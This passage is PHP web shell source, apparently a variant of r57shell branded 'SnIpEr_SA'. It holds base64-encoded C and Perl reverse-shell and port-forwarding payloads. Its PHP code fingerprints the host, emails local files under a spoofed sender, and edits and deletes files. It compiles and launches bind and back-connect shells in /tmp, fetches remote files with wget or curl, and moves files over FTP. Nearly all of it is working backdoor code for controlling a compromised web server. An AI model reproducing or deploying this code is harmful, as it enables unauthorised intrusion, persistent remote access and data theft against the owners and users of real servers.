+BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + } +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/r57shell_version/version.php?version=".$current_version."");}} +echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<font face=Wingdings size=6><b>N</b></font><b>'.ws(2).'SnIpEr_SA </b></font></td><td bgcolor=#000000><font face=tahoma size=1>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +if($unix) + { + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; + } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2)."����� �����: <b>"; +echo (($safe_mode)?("<font color=#008000>����</font>"):("<font color=red>��� ����</font>")); +echo "</b>".ws(2); +echo "����� ���� ��� ��: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "������: <b>".(($curl_on)?("<font color=#008000>����</font>"):("<font color=red>��� ����</font>")); +echo "</b>".ws(2); +echo "��� ���: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=#008000>����</font>"; } else { echo "<font color=red>��� ����</font>"; } +echo "</b>".ws(2); +echo "�� �� ���: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=#008000>����</font>";}else{echo "<font color=red>��� ����</font>";} +echo "</b>".ws(2); +echo "���� ��� ���: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=#008000>����</font>";}else{echo "<font color=red>��� ����</font>";} +echo "</b>".ws(2); +echo "������: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=#008000>����</font>";}else{echo "<font color=red>����</font>";} +echo "</b><br>".ws(2); +echo "������ �������� : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F>������</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."������� ������� : <b>".view_size($free)."</b> ������� ������: <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9> +<tr><td align=right width=100>'; +echo $font; +if($unix){ +echo '<font color=#CCCCCC><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=tahoma size=-2 color=#2279D9><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=tahoma size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#2279D9><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + 